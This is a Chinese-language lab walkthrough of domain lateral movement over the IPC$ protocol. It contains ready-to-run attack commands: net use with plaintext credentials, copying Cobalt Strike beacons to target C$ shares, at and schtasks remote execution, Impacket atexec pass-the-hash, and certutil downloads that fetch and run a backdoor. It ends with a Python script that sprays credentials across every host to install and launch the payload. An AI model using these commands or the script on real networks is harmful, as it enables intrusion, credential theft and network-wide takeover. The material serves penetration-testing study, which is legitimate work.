目录
[IPC协议横向移动 - 执行命令](#IPC协议横向移动 - 执行命令)
[一. 建立IPC连接](#一. 建立IPC连接)
[二. 拷贝执行文件到目标机器](#二. 拷贝执行文件到目标机器)
[三. 添加计划任务](#三. 添加计划任务)
[IPC协议横向移动 - CS插件](#IPC协议横向移动 - CS插件)
[IPC协议横向移动 - Impacket(常用)](#IPC协议横向移动 - Impacket(常用))
[Py版本测试 - 代理技术](#Py版本测试 - 代理技术)
今天开始内网横向移动的学习,基于IPC协议的横向移动。
网络拓扑图
IPC横向移动的实验环境如下

网络环境说明
攻击机:
LInux IP:47.94.236.117
内网环境:单域环境
Webserver:内网主机的网络出口,已拿到权限,通过它进行内网横向移动
IP:192.168.46.146 192.168.3.31
DC:域控 IP:192.168.3.21
Jack-PC: IP:192.168.3.29
Mary-PC: IP:192.168.3.25
SQLServer:IP:192.168.3.32
FileServer: IP:192.168.3.30
IPC协议
**IPC(Inter-Process Communication)协议是指用于不同进程之间进行通信和数据交换的协议。**在操作系统中,进程是指正在运行的程序的实例。进程可以是同一应用程序的不同实例,也可以是不同应用程序之间的独立实例。进程之间的通信是实现多任务、协作和数据交换的关键。
**IPC协议提供了一套规范和机制,使不同进程能够安全、可靠地进行通信。它允许进程之间共享数据、传递消息、进行同步操作等。**常见的IPC协议包括以下几种:
-
管道(Pipe):管道是一种半双工的通信机制,可用于在父子进程或者兄弟进程之间进行通信。在Unix和Linux系统中,管道可以通过创建一个管道文件描述符来实现进程间通信。
-
命名管道(Named Pipe):**命名管道是一种有名的管道,它允许无亲缘关系的进程进行通信。**命名管道在文件系统中有一个唯一的名字,进程可以通过该名字打开和使用管道进行通信。
-
消息队列(Message Queue):**消息队列是一种按照消息进行通信的机制。进程可以将消息发送到消息队列中,其他进程可以从队列中接收和处理消息。**消息队列通常具有先进先出的特性,并提供了一种异步通信的方式。
-
共享内存(Shared Memory):共享内存允许不同进程访问同一块内存区域,从而实现高效的数据共享。多个进程可以将共享内存映射到各自的地址空间中,以便直接读写共享数据,避免了数据复制和传输的开销。
-
套接字(Socket):**套接字是一种网络编程中常用的IPC机制,它允许不同主机上的进程进行网络通信。**套接字提供了一种可靠的、面向连接的通信方式,可以通过TCP或UDP协议在网络中传输数据。
-
信号量(Semaphore):信号量是一种用于同步进程的机制,它可以用来保护共享资源,控制进程的访问顺序,以及实现进程间的互斥和同步操作。
以上只是一些常见的IPC协议,实际上还有其他更多的IPC机制和协议,每种协议都有其适用的场景和特点。选择适当的IPC协议取决于具体的应用需求和操作系统支持。
IPC是专用管道,可以实现对远程计算机的访问,
需要使用目标系统用户的账号密码,使用139、445端口。
建立IPC链接到目标主机
拷贝要执行的命令脚本到目标主机
查看目标时间,创建计划任务(at、schtasks)定时执行拷贝到的脚本
删除IPC链接
常用ipc命令总结
net use \\192.168.3.32\ipc$ "Admin12345" /user:god.org\administrator #新建连接
net use #查看与本机的所有连接
net use \\192.168.3.32 /del #删除该连接
net use \\server\ipc$ "password" /user:username # 工作组
net use \\server\ipc$ "password" /user:domain\username #域内
dir \\xx.xx.xx.xx\C$\ # 查看文件列表
copy \\xx.xx.xx.xx\C$\1.bat 1.bat # 下载文件
copy 1.bat \\xx.xx.xx.xx\C$ # 复制文件
net use \\xx.xx.xx.xx\C$\1.bat /del # 删除IPC
net view xx.xx.xx.xx # 查看对方共享
域渗透实战
接下将会一步一步拿下整个内网!
域内信息收集:域控主机&&用户&&凭据&&网络
随便一条命令即可验证,shell调用对方主机的cmd命令
shell net time /domain

并且还得到了一个域控的信息。ping一下

获得域控主机地址:

域内用户信息,插件或者命令
shell net user /domain
域内用户信息

获取网络信息,这个需要权限,需要提权,使用高权限的会话进行网络信息收集

通过端口扫描探测网络环境

在CS上上线的是192.168.46.*网段,说明192.168.3.*网段是内网网段

因为我们主要是探测网络主机情况,不需要扫太多端口吗,扫一些常见端口即可

扫描结果:

还有一种情况,倘若当前主机的用户不是域用户怎么办?可以在CS中切换用户上线,需要高权限

别的主机登录过这台主机,会进行密码验证,并记录在内存中,需要高权限才能读取,可以通过这个收集到一个密码集,尝试类似弱口令的攻击。比如域控通过密码登录过这台主机,抓取到域控的密码或者hash,往往域控用户的很多个密码都是同一个,可以尝试弱口令。
在内网渗透的很多横向移动攻击手法中,往往需要传递这些凭据来实现攻击

抓取明文密码:

抓取Hash:

建立IPC连接失败的常见原因:
- 对方没打开IPC共享
- 对方未开启139,445端口
- 账号密码不对
IPC协议横向移动 - 执行命令
前面已经收集到了一些Hash,明文密码,借助IPC进行横向移动
建立IPC连接:需要账号密码,前面已经获取了域内用户账号和抓取了密码
一. 建立IPC连接
shell net use \\192.168.3.21\ipc$ "Admin12345" /user:god.org\administrator
注意:这里只是现有演示横向移动的手法,Admin123456如何获取等会再解释
这里是通过Webserver(192.168.3.31,已拿下)去横向移动到DC(192.168.3.21)

这就建立好了双方主机的IPC连接
建立IPC连接失败常见错误代码:
(1)5:拒绝访问,可能是使用的用户不是管理员权限,需要先提升权限
(2)51:网络问题,Windows 无法找到网络路径
(3)53:找不到网络路径,可能是IP地址错误、目标未开机、目标Lanmanserver服务未启动、有防火墙等问题
(4)67:找不到网络名,本地Lanmanworkstation服务未启动,目标删除ipc$
(5)1219:提供的凭据和已存在的凭据集冲突,说明已建立IPCKaTeX parse error: Expected 'EOF', got '#' at position 93: ...账号策略,强制定期更改密码 #̲建立IPC失败的原因 (1)目...共享
(3)对方未开启139、445端口,或者被防火墙屏蔽
(4)输出命令、账号密码有错误
二. 拷贝执行文件到目标机器
之后上传后门到DC(192.168.3.21)
首先需要说明后门生成的问题:
正向连接方式:生成后门,令192.168.3.21绑定本地端口,通过Websever(192.168.3.31)去主动访问
beacon_bind_tcp->beacon.exe
connect 192.168.3.21 2222
反向连接方式:后门的IP应该是Webserver的192.168.3.31这个IP,因为要和DC铜鼓县你,所以需要使用这个IP,才能建立起反向连接
代理转发->转发上线->beacon.exe
其次说明后门上传的问题:
我们是通过Webserver(192.168.3.31)横向移动的,IPC建立的连接也是Webserer与DC的
所以需要先把后门上传至Webserver再拷贝到DC上。
这里仅实验正向连接

在CS中执行命令,使用控制Webserver的高权限会话执行命令,复制文件到C盘
shell copy 4444.exe \\192.168.3.21\c$


三. 添加计划任务
在添加计划任务时,根据操作系统的版本不同,使用的命令也有不同
at < Windows2012 (该版本之前的操作系统使用at命令)
添加计划任务,定时执行
样例:shell at \\192.168.3.21 12:16 c:\bindtcp-2222.exe
定时任务生效后连接:connect 192.168.3.21 #等到定时任务生效后执行,正向连接上线
schtasks >=Windows2012(适用于windows2012后的操作系统版本)创建任务对应执行文件neacon
样例:schtasks /create /s 192.168.3.32 /ru "SYSTEM" /tn beacon /sc DAILY /tr c:\bindtcp-2222.exe /F
运行beacon任务
schtasks /U administrator /P Admin12345 /run /s 192.168.3.32 /tn beacon /i
删除beacon任务:
schtasks /delete /s 192.168.3.21 /tn beacon /F
通过IPC建立的连接上传后门后,再通过这个给这台主机添加定时任务

之后就会执行上线

IPC协议横向移动 - CS插件
LSTAR插件,使用倒数第二个


也可以通过这个插件做横向移动
IPC协议横向移动 - Impacket(常用)
这是一个专门做横向移动的套件,包含多种横向移动方式
该工具是一个半交互的工具,适用于Webshell下,Socks代理下;
在渗透利用中可以收集用户名、明文密码、密码hash、远程主机等做成字典,批量测试
1、Py版:https://github.com/SecureAuthCorp/impacket
2、Exe版:https://gitee.com/RichChigga/impacket-examples-windows
EXE版本测试
上传文件到Webserver再执行命令,
支持明文,密文Hash连接
CS本地用户明文连接,./针对本地用户连接
shell atexec.exe ./administrator:Admin12345@192.168.3.21 "whoami"
CS域内用户明文连接,god/针对域内用户连接
shell atexec.exe god/administrator:Admin12345@192.168.3.21 "ver"


这款工具还支持Hash连接
shell atexec.exe -hashes :ccef208c6485269c20db2cad21734fe7 ./administrator@192.168.3.21 "whoami"
shell atexec.exe -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.3.21 "whoami"

把木马下载到Webserver这个目录上,放到了Web服务上

命令执行改为下载Webserver上木马命令
shell atexec.exe god/administrator:Admin12345@192.168.3.21 "certutil.exe -urlcache -split -f http://192.168.3.31:80/2222.exe zx.exe"
CS执行命令


shell atexec.exe god/administrator:Admin12345@192.168.3.21 "zx.exe"
connect 192.168.3.21 2222
上线

缺点:需要上传的文件太大了,动静很大

Py版本测试 - 代理技术
为了解决主机上没有Python的问题,建议使用代理技术把攻击机带进内网进行测试


使用Proxifier进行代理


配置代理,任意进程走3网段的都走代理

访问到内网

接下来就可以本地直接测试Py,需要安装impacket库
python atexec.py -hashes :ccef208c6485269c20db2cad21734fe7 ./administrator@192.168.3.21 "whoami"

关于为什么都是system权限上线解释:
域控制器上的域管理员账户(Domain Administrator)具有最高权限,可以管理域中的所有用户账户和计算机。域管理员账户默认具有登录所有域成员主机的权限,这意味着域管理员可以使用其凭据登录到域中的任何计算机。所以在实验中获得的才是system权限。
在实际测试中,是不知道的,而且我们在信息收集时针对Webserver内存密码读取也没读到。
那么如何获得DC的账户呢?
通过Webserver抓到了不少的凭证,通过IPC横向移动,使用本地用户./administrator和GOD/administrastor和账号密码组合测试,如果拿下来主机,就可以在抓取这台主机的内存里的凭证重复上面测试不断丰富凭证,知道横向到DC的密码。
获取DC账户密码
在一开始信息收集时,获得一部分明文密码

通过这个密码横向移动其它的设备
分别测试本机用户和域用户
测试域用户失败,估计权限不够,测试本地用户成功

192.168.3.29上线,还是system权限,说明那个密码时电脑本地管理员的账号密码

抓取新上线主机的哈希,明文

这条信息抓到的是DC账户的哈希,如果不知道的话,也可以每一条hash都试试横向移动也可以
可以利用这条哈希进行横向移动

上线

再去抓域控的凭证,得到DC账户的明文密码

之后写个脚本,用这个明文密码跑一跑,整个网络就通了
import os,time
ips={
'192.168.3.21',
'192.168.3.25',
'192.168.3.29',
'192.168.3.30',
'192.168.3.32'
}
users={
'Administrator',
'boss',
'dbadmin',
'fileadmin',
'itadmin',
'jack',
'mary',
'vpnadm',
'webadmin'
}
passs={
'admin!@#45'
'Admin12345'
}
def xz():#下载后门
for ip in ips:
for user in users:
for mima in passs:
exec1='python3 .\\atexec.py ./administrator:'+mima+'@'+ip+' "certutil -urlcache -split -f http://192.168.3.31/webserver4444.exe c:/beacon.exe"'
exec2='python3 .\\atexec.py god/'+user+':'+mima+'@'+ip+' "certutil -urlcache -split -f http://192.168.3.31/webserver4444.exe c:/beacon.exe"'
#exec3='atexec.exe ./administrator:admin!@#45@192.168.3.32 "certutil -urlcache -split -f http://192.168.3.31/beacon.exe c:/beacon.exe"' #这里是使用可执行程序 效果与py脚本一样
print('--->'+exec1+'<---')
print('--->' + exec2 + '<---')
os.system(exec1)
os.system(exec2)
def zx():#执行后门
for ip in ips:
for user in users:
for mima in passs:
#exec="net use \\"+ "\\"+ip+'\ipc$ '+mima+' /user:god\\'+user
exec1 = 'python3 .\\atexec.py ./administrator:' + mima + '@' + ip + ' "c:/beacon.exe"'
exec2 = 'python3 .\\atexec.py god/' + user + ':' + mima + '@' + ip + ' "c:/beacon.exe"'
#exec3='atexec.exe ./administrator:admin!@#45@192.168.3.32 "certutil -urlcache -split -f http://192.168.3.31/beacon.exe c:/beacon.exe"'
print('--->' + exec1 + '<---')
print('--->' + exec2 + '<---')
os.system(exec1)
os.system(exec2)
if __name__ == '__main__':
xz()
zx()
整个内网就都会上线CS了